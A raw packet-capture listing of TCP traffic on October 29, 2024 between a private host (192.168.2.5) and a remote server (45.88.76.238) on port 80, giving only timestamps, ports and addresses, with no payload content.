Oct 29, 2024 18:42:14.380636930 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.380636930 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.380681038 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.380887985 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.380937099 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.380953074 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.380995035 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.380995035 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.380995035 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.381031990 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.381047964 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.381100893 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.381104946 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.381104946 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.381115913 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.381131887 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.381160975 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.381160975 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.381186008 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.421082020 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421102047 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421118021 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421174049 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421175003 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.421190023 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421205997 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421219110 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.421308994 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.421308994 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.421576977 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421622992 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.421684980 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421725035 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421741009 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421746016 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.421767950 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.421812057 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.421844006 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421900034 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.421916962 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421932936 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421950102 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.421993017 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.421993017 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.422077894 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422097921 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422132969 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422167063 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.422167063 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.422167063 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.422236919 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422255039 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422271013 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422286987 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422286987 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.422305107 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422344923 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.422344923 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.422344923 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.422430038 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422477961 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.422499895 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422549963 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.422593117 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422607899 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422624111 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422658920 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.422658920 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.422730923 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422748089 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.422828913 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.422830105 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.423007011 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.423063040 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.423089027 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.423105001 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.423168898 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.423168898 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.423168898 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.423218012 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.423305035 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.423330069 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.500293970 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500323057 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500339985 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500355959 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500376940 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.500408888 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.500412941 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500430107 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500505924 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.500576019 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500631094 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.500634909 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500657082 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500679016 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.500739098 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500741005 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.500761032 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500798941 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.500798941 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.500828981 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500859976 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500890017 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.500899076 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.500906944 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.500921965 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.501027107 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.501027107 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.501029968 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.501046896 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.501102924 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.501102924 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.540781021 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.540795088 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.540810108 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.540870905 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.540888071 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.540932894 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.540937901 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.540971041 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.540991068 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541024923 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541039944 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541063070 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541063070 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541063070 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541081905 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541244030 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541285038 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541326046 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541326046 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541374922 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541392088 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541444063 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541462898 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541462898 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541492939 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541511059 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541534901 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541549921 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541564941 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541599989 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541621923 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541724920 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541776896 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541807890 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541821003 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541861057 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541876078 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.541912079 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.541951895 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542026997 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542078018 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542093039 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542120934 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542120934 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542138100 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542172909 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542231083 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542352915 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542397976 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542409897 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542450905 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542479038 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542495012 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542553902 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542560101 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542560101 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542654037 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542681932 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542727947 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542784929 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542799950 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542813063 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542813063 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542829990 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542932034 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.542941093 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542958975 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542974949 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.542992115 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.543018103 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.543018103 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.543044090 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.543046951 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.543112040 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.619995117 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620060921 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620074987 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620099068 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620116949 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620151043 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.620174885 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620198965 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.620249033 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.620275974 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620323896 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620332003 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.620341063 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620376110 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.620409966 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.620428085 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620475054 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620488882 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620506048 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.620553017 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620562077 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.620582104 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620609999 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.620619059 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620668888 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.620668888 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.620774031 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620835066 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.620852947 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620867968 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.620896101 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.620917082 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.660586119 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.660631895 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.660646915 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.660996914 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.661030054 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661082029 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661097050 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661103010 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.661132097 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661170959 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661214113 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661227942 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661243916 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.661243916 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.661243916 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.661273956 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661293983 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.661293983 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.661319017 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.661418915 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661422968 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661464930 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661469936 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.661509991 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661525011 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661547899 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.661547899 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.661573887 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661634922 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.661634922 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.661904097 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661946058 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.661967993 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662009001 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662009001 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662009001 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662045956 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662064075 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662125111 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662139893 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662153959 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662164927 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662164927 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662228107 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662307024 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662322044 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662348032 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662348032 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662348032 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662592888 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662621021 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662636042 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662638903 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662640095 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662652969 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662693024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662693024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662693024 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662745953 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662761927 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662776947 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662794113 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662800074 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662817001 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662837029 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662837029 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662837029 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.662920952 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.662935019 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.663177013 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.663220882 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.663220882 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.663220882 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.663232088 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.663248062 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.663335085 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.663335085 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.740133047 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740170002 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740186930 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740278006 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740293980 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740309954 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740381002 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740392923 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.740397930 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740439892 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740472078 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.740472078 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.740500927 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.740531921 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740547895 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740576029 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.740660906 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.740833998 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740849972 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740865946 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.740899086 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.740963936 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.741240025 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.741255999 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.741269112 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.741422892 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.741422892 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.780529976 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.780586958 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.780601978 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.780957937 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.780957937 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781040907 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781091928 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781116962 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781163931 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781163931 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781163931 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781197071 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781213045 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781230927 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781246901 CET	80	49704	45.88.76.238	192.168.2.5
Oct 29, 2024 18:42:14.781270027 CET	49704	80	192.168.2.5	45.88.76.238
Oct 29, 2024 18:42:14.781270981 CET	49704	80	192.168.2.5	45.88.76.238
